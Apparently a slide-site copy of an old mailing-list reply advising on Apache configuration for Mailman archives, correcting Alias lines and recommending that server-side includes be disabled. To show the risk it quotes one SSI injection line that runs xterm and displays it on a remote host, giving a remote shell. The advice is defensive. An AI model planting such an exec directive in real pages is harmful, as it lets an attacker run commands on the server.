1 / 50

> first of all, is it okay to use the following apache srm.conf

> first of all, is it okay to use the following apache srm.conf. > aliases for mailman instead of the one it asks for?. >. > Alias /archives/ /home/mailman/archives/public/. > ScriptAlias /lists/ /home/mailman/cgi-bin/. >. > (everything seems to work fine with that except the following).

palani
Download Presentation

> first of all, is it okay to use the following apache srm.conf

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. > first of all, is it okay to use the following apache srm.conf

  2. > aliases for mailman instead of the one it asks for?

  3. >

  4. > Alias /archives/ /home/mailman/archives/public/

  5. > ScriptAlias /lists/ /home/mailman/cgi-bin/

  6. >

  7. > (everything seems to work fine with that except the following)

  8. This isn't going to work (as you already found out) for the

  9. private archives.

  10. Suppose that you were going to try to access /archives/private.

  11. /archives expands out to /home/mailman/archives/public, then

  12. /private is appended to give you a final destination of

  13. /home/mailman/archives/public/private

  14. What you really want it to expand out to is

  15. /home/mailman/archives/private

  16. You should change your aliases to

  17. Alias /archives/public /home/mailman/archives/public/

  18. Alias /archives/private /home/mailman/archives/private/

  19. > dir and subdirs and everything looks ok. Here's my

  20. > relevant lines in access.conf.

  21. >

  22. > <Directory /home/mailman>

  23. > Options Indexes FollowSymLinks Includes ExecCGI

  24. > AllowOverride None

  25. > order allow,deny

  26. > Allow from all

  27. > </Directory>

  28. Ooops. You might want to turn off the Includes option there.

  29. Otherwise list managers can use the HTML editing features of Mailman

  30. to run programs on your system from the archives. i.e. adding this

  31. HTML could pop up an xterm as the user running the script onto a

  32. remote system:

  33. <!--#exec cmd="/usr/X11R6/bin/xterm -display host.example.com:0"-->

  34. (which is one reason why I don't have any X binaries on my Web server).

  35. By carefully manipulating these values (and a little security know-how)

  36. a skilled cracker could easily gain a root shell to your system.

  37. If you absolutely have to allow SSI, you may want to at least run

  38. Mailman through an SSL-aware server. At least then your passwords

  39. won't be flying across the ether in a sniffable form.

  40. A better thing to do is only allow CGI within $prefix/cgi-bin and

  41. symlinks in $prefix/archives:

  42. <Directory $prefix/cgi-bin>

  43. Options ExecCGI

  44. </Directory>

  45. <Directory $prefix/archives>

  46. Options FollowSymLinks

  47. </Directory>

  48. Of course, replace $prefix with the directory where Mailman is

  49. installed.

  50. Chris

More Related